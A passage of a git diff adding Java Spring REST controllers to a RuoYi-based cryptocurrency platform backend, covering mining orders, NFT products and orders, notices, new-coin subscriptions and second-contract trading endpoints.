javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 挖矿Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/mingOrder") +public class TMingOrderController extends ApiBaseController +{ + @Resource + private ITMingOrderService itMingOrderService; + @Resource + private SettingService settingService; + /** + * 查询挖矿订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(TMingOrder tMineOrder) + { + startPage(); + tMineOrder.setUserId(getStpUserId()); + List newList = itMingOrderService.selectTMingOrderList(tMineOrder); + // List newList = unlist(list); + if(!CollectionUtils.isEmpty(newList)){ + newList.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + params.put("endTime", Objects.nonNull(t.getEndTime())?t.getEndTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(newList); + } + + private List unlist(List list) { + Setting setting = settingService.get(SettingEnum.MING_SETTLEMENT_SETTING.name()); + if(Objects.isNull(setting)){ + return list; + } + MingSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class); + if(Objects.equals(CommonEnum.ONE.getCode(), settlementSetting.getSettlementType())){ + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + }); + }else { + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + }); } + return list; + } + + + /** + * 获取挖矿订单详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(itMingOrderService.selectTMingOrderById(id)); + } + + @ApiOperation(value = "挖矿购买") + @PostMapping("/submit") + @Transactional + public AjaxResult submit(@RequestBody TMingOrder mingOrder) { + String msg = itMingOrderService.bugMingOrder(mingOrder.getPlanId(),mingOrder.getAmount(),getStpUserId()); + if(!"success".equals(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + + + @ApiOperation(value = "挖矿赎回") + @PostMapping("/redemption") + @Transactional + public AjaxResult redemption(@RequestBody TMingOrder mingOrder) { + itMingOrderService.redemption(mingOrder.getId()); + return AjaxResult.success(); + } + + @ApiOperation(value = "挖矿展示") + @PostMapping("/show") + @Transactional + public AjaxResult show() { + return AjaxResult.success( itMingOrderService.selectMingOrderSumList(getStpUserId())); + } + + @ApiOperation(value = "挖矿赎回") + @PostMapping("/redempNewtion") + @Transactional + public AjaxResult redempNewtion(@RequestBody TMingOrder mingOrder) { + itMingOrderService.redemption(mingOrder.getId(),"trustWalle"); + return AjaxResult.success(); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java new file mode 100644 index 0000000..bd9c25b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java @@ -0,0 +1,77 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TMingOrder; +import com.ruoyi.bussiness.domain.TMingProduct; +import com.ruoyi.bussiness.domain.TMingProductUser; +import com.ruoyi.bussiness.domain.setting.MingSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITMingOrderService; +import com.ruoyi.bussiness.service.ITMingProductService; +import com.ruoyi.bussiness.service.ITMingProductUserService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 挖矿Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/mingProduct") +public class TMingProductController extends ApiBaseController { + @Resource + private ITMingProductService mingProductService; + @Resource + private SettingService settingService; + @Resource + private ITMingProductUserService mingProductUserService; + @Resource + private ITMingOrderService mingOrderService; + + /** + * 查询挖矿订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(HttpServletRequest request) { + startPage(); + TMingProduct product = new TMingProduct(); + product.setStatus(0L); + List list = mingProductService.selectTMingProductList(product); + if (!CollectionUtils.isEmpty(list)){ + list.stream().forEach(mProduct->{ + int count = mingOrderService.count(new LambdaQueryWrapper() + .eq(TMingOrder::getPlanId, mProduct.getId()) + .eq(TMingOrder::getUserId, getStpUserId())); + if (Objects.nonNull(count)) mProduct.setBuyPurchase((long)count); + TMingProductUser one = mingProductUserService.getOne(new LambdaQueryWrapper() + .eq(TMingProductUser::getProductId, mProduct.getId()) + .eq(TMingProductUser::getAppUserId, getStpUserId())); + if (Objects.nonNull(one)) mProduct.setTimeLimit(one.getPledgeNum()); + }); + } + + return getDataTable(list); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java new file mode 100644 index 0000000..ae557a8 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java @@ -0,0 +1,60 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * nft订单Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/api/nftOrder") +public class TNftOrderController extends BaseController +{ + @Autowired + private ITNftOrderService tNftOrderService; + + /** + * 查询nft订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TNftOrder tNftOrder) + { + startPage(); + List list = tNftOrderService.selectTNftOrderList(tNftOrder); + return getDataTable(list); + } + + /** + * 获取nft订单详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftOrderService.selectTNftOrderById(id)); + } + + /** + * 新增nft订单 + */ + @PostMapping + public AjaxResult add(@RequestBody TNftOrder tNftOrder) + { + return toAjax(tNftOrderService.insertTNftOrder(tNftOrder)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java new file mode 100644 index 0000000..2c1c2fb --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java @@ -0,0 +1,63 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.bussiness.service.ITNftProductService; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.List; + +/** + * nft详情Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/api/nftProduct") +public class TNftProductController extends BaseController +{ + @Autowired + private ITNftProductService tNftProductService; + + + /** + * 查询nft详情列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TNftProduct tNftProduct) + { + startPage(); + List list = tNftProductService.selectTNftProductList(tNftProduct); + return getDataTable(list); + } + + /** + * 获取nft详情详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftProductService.selectTNftProductById(id)); + } + + @PostMapping("/upOrDownPro") + public AjaxResult upOrDownPro(@RequestBody TNftProduct tNftProduct) + { + return toAjax(tNftProductService.updateTNftProduct(tNftProduct)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java new file mode 100644 index 0000000..a37c1a6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java @@ -0,0 +1,45 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftProductService; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.List; + +/** + * nft合计Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/api/series") +public class TNftSeriesController extends BaseController +{ + @Resource + private ITNftSeriesService tNftSeriesService; + + /** + * 查询nft合计列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TNftSeries tNftSeries) + { + startPage(); + List list = tNftSeriesService.selectTNftSeriesList(tNftSeries); + return getDataTable(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java new file mode 100644 index 0000000..e16f134 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java @@ -0,0 +1,167 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.utils.StringUtils; +import org.apache.poi.util.StringUtil; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 通知公告Controller + * + * @author ruoyi + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/api/notice") +public class TNoticeController extends BaseController +{ + @Autowired + private ITNoticeService tNoticeService; + + @PostMapping("/list") + public AjaxResult list(TNotice tNotice,HttpServletRequest httpRequest) + { + String lang = httpRequest.getHeader("Lang"); + if (StringUtils.isNotBlank(lang)){ + tNotice.setLanguageId(lang); + } + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List list = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:list) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + return AjaxResult.success(list); + } + @PostMapping("/getAllNoticeList") + public AjaxResult getAllNoticeList(HttpServletRequest httpRequest) + { + Map> map = new HashMap<>(); + String lang = httpRequest.getHeader("Lang"); + TNotice tNotice = new TNotice(); + TNotice tNotice2 = new TNotice(); + tNotice.setKey("ACTIVITY_NOTICE"); + tNotice.setModelKey("HOME_ACTIVITY"); + if (StringUtils.isNotBlank(lang)){ + tNotice.setLanguageId(lang); + tNotice2.setLanguageId(lang); + } + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List tNotices = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:tNotices) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + map.put("ACTIVITY_NOTICE",tNotices); + + + + tNotice2.setKey("ROLL_NOTICE"); + tNotice2.setNoticeType(NoticeTypeEnum.valueOf(tNotice2.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice2.getModelKey())){ + tNotice2.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice2.getModelKey()).getCode()); + } + startPage(); + List tNotices1 = tNoticeService.selectTNoticeList(tNotice2); + NoticeTypeEnum[] typeEnumList1 = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList1 = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:tNotices1) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList1.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList1[i].getPrent().getCode()) && childrenEnumList1[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList1[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList1) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + map.put("ROLL_NOTICE",tNotices1); + return AjaxResult.success(map); + } + /** + * 获取通知公告详细信息 + */ + @GetMapping(value = "/{noticeId}") + public AjaxResult getInfo(@PathVariable("noticeId") Long noticeId) + { + TNotice tNotice = tNoticeService.selectTNoticeByNoticeId(noticeId); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + if (tNotice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (tNotice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(tNotice.getModelType())){ +// tNotice.setModelType(childrenEnumList[i].getValue()); + tNotice.setModelKey(childrenEnumList[i].name()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(tNotice.getNoticeType())){ +// tNotice.setNoticeType(typeEnum.getValue()); + tNotice.setKey(typeEnum.name()); + } + } + return success(tNotice); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java new file mode 100644 index 0000000..707ce59 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java @@ -0,0 +1,54 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.OptionRulesEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOptionRules; +import com.ruoyi.bussiness.service.ITOptionRulesService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 前台文本配置Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/api/option/rules") +public class TOptionRulesController extends ApiBaseController +{ + @Autowired + private ITOptionRulesService tOptionRulesService; + + @PostMapping("/list") + public AjaxResult list(TOptionRules tOptionRules, HttpServletRequest httpRequest) + { + String lang = httpRequest.getHeader("Lang"); + if (StringUtils.isNotBlank(lang)){ + tOptionRules.setLanguage(lang); + } + tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode()); + List list = tOptionRulesService.selectTOptionRulesList(tOptionRules); + return AjaxResult.success(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java new file mode 100644 index 0000000..ad499a1 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java @@ -0,0 +1,58 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 发币Controller + * + * @author ruoyi + * @date 2023-09-18 + */ +@RestController +@RequestMapping("/api/ownCoin") +public class TOwnCoinController extends BaseController { + @Resource + private ITOwnCoinService tOwnCoinService; + + /** + * 查询发币列表 + */ + @PostMapping("/list") + public AjaxResult list(String status) { + + return AjaxResult.success(tOwnCoinService.ownCoinList(status)); + } + + /** + * 订阅新币 + */ + @PostMapping("/subscribeCoins") + public AjaxResult subscribeCoins(@RequestBody TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + + return tOwnCoinService.subscribeCoins(tOwnCoinSubscribeOrder); + } + + /** + * 查询发币列表 + */ + @GetMapping("/getDetail/{ownId}") + public AjaxResult getDetail(@PathVariable Long ownId) { + long userId = StpUtil.getLoginIdAsLong(); + return AjaxResult.success(tOwnCoinService.getDetail(userId,ownId)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java new file mode 100644 index 0000000..f5985b8 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java @@ -0,0 +1,76 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.dev33.satoken.stp.StpUtil; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import com.ruoyi.bussiness.service.ITOwnCoinOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.List; +import java.util.Objects; + +/** + * 申购订单Controller + * + * @author ruoyi + * @date 2023-09-20 + */ +@RestController +@RequestMapping("/api/ownCoinOrder") +public class TOwnCoinOrderController extends BaseController +{ + @Resource + private ITOwnCoinOrderService tOwnCoinOrderService; + + /** + * 查询申购订单列表 + */ + @GetMapping("/list") + public TableDataInfo list(TOwnCoinOrder tOwnCoinOrder) + { + startPage(); + List list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder); + return getDataTable(list); + } + /** + * 查询申购订单列表 + */ + @PostMapping("/createOrder") + public AjaxResult createOrder(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + tOwnCoinOrder.setUserId(StpUtil.getLoginIdAsLong()); + + if(tOwnCoinOrder.getNumber() == null || tOwnCoinOrder.getNumber() <= 0 || tOwnCoinOrder.getOwnId() == null){ + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + return AjaxResult.success(tOwnCoinOrderService.createOrder(tOwnCoinOrder)); + } + + /** + * 申购 + * + * @param tOwnCoinOrder + * @return + */ + @PostMapping("/placing") + public AjaxResult placing(@RequestBody TOwnCoinOrder tOwnCoinOrder){ + long userId = StpUtil.getLoginIdAsLong(); + if(Objects.isNull(tOwnCoinOrder) || + Objects.isNull(tOwnCoinOrder.getUserId()) || + !tOwnCoinOrder.getUserId().equals(userId)){ + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + return tOwnCoinOrderService.placingCoins(tOwnCoinOrder); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java new file mode 100644 index 0000000..a569073 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java @@ -0,0 +1,51 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 秒合约币种配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/api/coin") +public class TSecondCoinConfigController extends ApiBaseController +{ + @Autowired + private ITSecondCoinConfigService tSecondCoinConfigService; + + /** + * 查询秒合约币种配置列表 + */ + @PostMapping("/list") + public AjaxResult list() + { + List symbolList = tSecondCoinConfigService.getSymbolList(); + return AjaxResult.success(symbolList); + } + /** + * 获取秒合约币种配置详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondCoinConfigService.selectTSecondCoinConfigById(id)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java new file mode 100644 index 0000000..1e8219a --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java @@ -0,0 +1,71 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.domain.TSecondContractOrder; +import com.ruoyi.bussiness.service.ITSecondContractOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 秒合约订单Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/api/secondContractOrder") +public class TSecondContractOrderController extends ApiBaseController +{ + @Resource + private ITSecondContractOrderService tSecondContractOrderService; + + /** + * 新增秒合约订单 + */ + @PostMapping("/createSecondContractOrder") + public AjaxResult createSecondContractOrder(@RequestBody TSecondContractOrder tSecondContractOrder) + { + String secondContractOrder = tSecondContractOrderService.createSecondContractOrder(tSecondContractOrder); + if(!StringUtils.isNumeric(secondContractOrder)){ + return AjaxResult.error(secondContractOrder); + }else { + return AjaxResult.success(tSecondContractOrderService.selectTSecondContractOrderById(Long.valueOf(secondContractOrder))); + } + + } + + /** + * 查询秒合约订单 + */ + @PostMapping("/selectOrderList") + public AjaxResult selectOrderList(@RequestBody TSecondContractOrder tSecondContractOrder) + { + tSecondContractOrder.setUserId(getStpUserId()); + List list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime",Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return AjaxResult.success(list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java new file mode 100644 index 0000000..c2037f1 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java @@ -0,0 +1,41 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 秒合约币种周期配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/api/period") +public class TSecondPeriodConfigController extends BaseController +{ + @Resource + private ITSecondPeriodConfigService tSecondPeriodConfigService; + + /** + * 查询秒合约币种周期配置列表 + */ + @PostMapping("/list") + public AjaxResult list(@RequestBody TSecondPeriodConfig tSecondPeriodConfig) + { + List list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig); + return AjaxResult.success(list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java new file mode 100644 index 0000000..5c8446e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java @@ -0,0 +1,52 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TSymbolManage; 